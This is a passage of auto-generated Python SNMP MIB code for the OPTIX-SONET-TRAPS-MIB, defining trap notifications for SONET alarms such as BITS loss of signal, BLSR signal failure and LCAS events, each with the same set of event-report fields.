36957)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaUASCPPath.setStatus('current') evtTcaUASLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36958)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaUASLine.setStatus('current') evtTcaUASPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36959)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaUASPath.setStatus('current') evtTcaUASPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36960)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaUASPPath.setStatus('current') evtTcaUASVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36961)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaUASVT.setStatus('current') evtBitsAIS = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36966)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtBitsAIS.setStatus('current') evtBitsLOF = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36967)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtBitsLOF.setStatus('current') evtBitsLOS = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36968)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtBitsLOS.setStatus('current') evtBitsCodeViolationOver = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36969)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtBitsCodeViolationOver.setStatus('current') evtBlsrSFofRing = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36970)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtBlsrSFofRing.setStatus('current') evtBlsrSFofSpan = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36971)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtBlsrSFofSpan.setStatus('current') evtBlsrSDofRing = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36972)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtBlsrSDofRing.setStatus('current') evtBlsrSDofSpan = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36973)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtBlsrSDofSpan.setStatus('current') evtBlsrNodeIsolate = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36974)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtBlsrNodeIsolate.setStatus('current') evtSF = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36975)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSF.setStatus('current') evtSD = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36976)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSD.setStatus('current') evtAutoSwitch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36977)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtAutoSwitch.setStatus('current') evtLcasPlct = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36978)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLcasPlct.setStatus('current') evtLcasPlcr = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36979)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLcasPlcr.setStatus('current') evtLcasTlct = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36980)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLcasTlct.setStatus('current') evtLcasTlcr = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36981)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLcasTlcr.setStatus('current') evtLcasFopt = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36985)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLcasFopt.setStatus('current') evtLcasFopr = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36986)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLcasFopr.setStatus('current') evtLoopbackFAC2NI = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 40960)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLoopbackFAC2NI.setStatus('current') evtGfpCsf = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 40961)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtGfpCsf.setStatus('current') evtRevertiveModeMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 40970)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), 